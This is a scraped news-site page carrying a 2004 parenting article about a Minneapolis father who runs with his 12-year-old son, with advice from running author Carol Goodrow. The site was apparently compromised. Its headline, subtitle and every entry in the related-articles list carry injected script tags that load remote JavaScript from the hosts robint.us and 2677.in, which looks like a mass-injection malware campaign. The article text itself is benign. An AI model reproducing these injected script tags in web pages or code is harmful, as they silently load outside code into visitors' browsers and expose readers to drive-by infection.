Going the Distance to Bond with Your Child<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Glenn Lawrence, interactive DAD Editor - Nov. 1, 2004
Ever thought about lacing up and going for a run with your children? Maybe you should. Here’s why.<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Home
  • Article 1 : Playing Games Develops Child's Motor Skills<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 2 : Top 10 Secrets to Avoiding Marital Money Problems<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 4 : College Financial Aid Process Need Not Add Up to Huge Headache<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 5 : Eating Breakfast Benefits Men's Health and Can Help You Lose Weight<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 6 : Bank Overdraft 'Protection' Benefits Bank, Not Customer, says Expert<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 7 : Most Parents Monitor Children's Computer Use<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 8 : Divorce Can Be a Big 'Ouchy' Even for Infants<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 9 : The Secret to Saving Big at the Grocery Store<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 10 : Thousands Get a Steal Buying Stolen Merchandise<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 11 : 'Refresh'er Course on Diapering<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 12 : Give Yourself a Raise, Get a Flexible Spending Account<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 13 : 'Shop More, Save More for College' Gimmick or Reality?<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 16 : Life Insurance Quote Proves Critical to Family's Survival<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 17 : How Shopping Online Can Turn into a Ripoff<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 18 : Reality: Fantasy Sports Can Revolutionize Relationships<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 20 : Dirty-Mouthed Dads Do Damage to their Children<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 21 : 'High-Pressure' Dads Can Do Long-Term Damage to their Children<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 22 : Myth or Reality? Dads Have Pregnancy Pains<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 23 : Secrets to Preparing to Meet the Teacher<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 24 : Parking Spots for Pregnant Women Boost Business<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
 It’s 2pm.  Matthew Barber is still exhausted from working the graveyard shift as a locomotive foreman for the local railroad.  But instead of resting, he’s lacing.  He’s getting ready to run with his 12-year-old son Andrew.

 

“We’ve been exercising together since he was a toddler,” says Barber who lives in the suburbs of Minneapolis, MN.  The two try never to miss the fun and camaraderie.

 

Most pre-teens want distance from their dads.  Not Andrew.  Instead of playing with his friends, father and son run the distance: two to three miles together several times a week. 

 

Running gives them a chance to clear their minds and to share stories and experiences.  It’s also an opportunity for no-nonsense father/son chats.  They run at a comfortable pace so they can talk. Usually it’s lighthearted.  Sometimes it gets serious.

 

“I was concerned that as he got older he would go to his friends,” says Barber, “but he still wants to spend time with me.”

 

Running has definitely made the two close.

 

JOIN THE CLUB

 

“When I see a dad running with his kid... to me it’s the most awesome thing in the world,” says Carol Goodrow, author of Happy Feet, Healthy Food (Breakaway Books, 2004).

 

“I think kids want to be like their parents. If parents can give children positive attention, positive things will happen.”

 

Besides being an author, Goodrow also is an educator.  She taught first grade for 10 years and now instructs second-graders with special needs in New England.  In her spare time, she’s editor of http://www.kidsrunning.com, a website devoted to running for kids. 

 

An avid runner who’s completed marathons, Goodrow has figured out how to mix running and learning.  In fact, she frequently organizes running events at her Massachusetts elementary school.  She highly encourages parents to participate because she sees the impact moms and dads have on their kids.  They run stronger.  Better.  And they’re simply happier.  “It’s exciting for kids to see their parents running with them.”

 

She has a couple words of caution for dads who are considering the running route to get closer to their kids. Goodrow says the point of it is to be together—not to challenge your child to a race.  And she suggests working yourself into your children’s routine and exercise level, rather than dragging your children with you on a marathon training session that you want to complete. Remember, she says, it’s about having fun—for both of you.

 

 A TRADITION IS BORN

 

Matthew Barber remembers the early 1970s when he ran with his dad. “I loved it.  I loved spending time with him.”

 

He’s proud to be continuing the legacy.   And he hopes Andrew carries on the tradition someday.
Absolute News Manager : news publishing software and web content management system by Xigla Software

The article has been moved here